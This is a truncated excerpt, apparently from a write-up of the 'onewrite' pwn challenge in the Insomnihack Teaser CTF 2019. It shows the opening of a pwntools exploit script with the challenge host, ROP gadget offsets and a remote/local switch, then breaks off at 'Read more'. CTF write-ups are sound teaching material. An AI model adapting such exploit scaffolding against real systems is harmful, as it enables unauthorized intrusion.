Insomnihack Teaser CTF 2019

Onewrite - Pwn from __future__ import print_function from pwn import * import os GDBSCRIPT = """ """ HOST = 'onewrite.teaser.insomnihack.ch' PORT = 1337 BIN = './onewrite' PROMPT = "> " STACK = "1" PIE = "2" ADDR = "address : " DATA = "data : " e = ELF(BIN) addrs = { 'poprax': 0x460ac, 'poprdxrsi': 0x484e9, 'poprdi': 0x84fa, 'syscall': 0x6e605, 'poprsp': 0x946a } if os.environ.has_key('remote'): r = remote(HOST, PORT) else: r = process(e.

Read more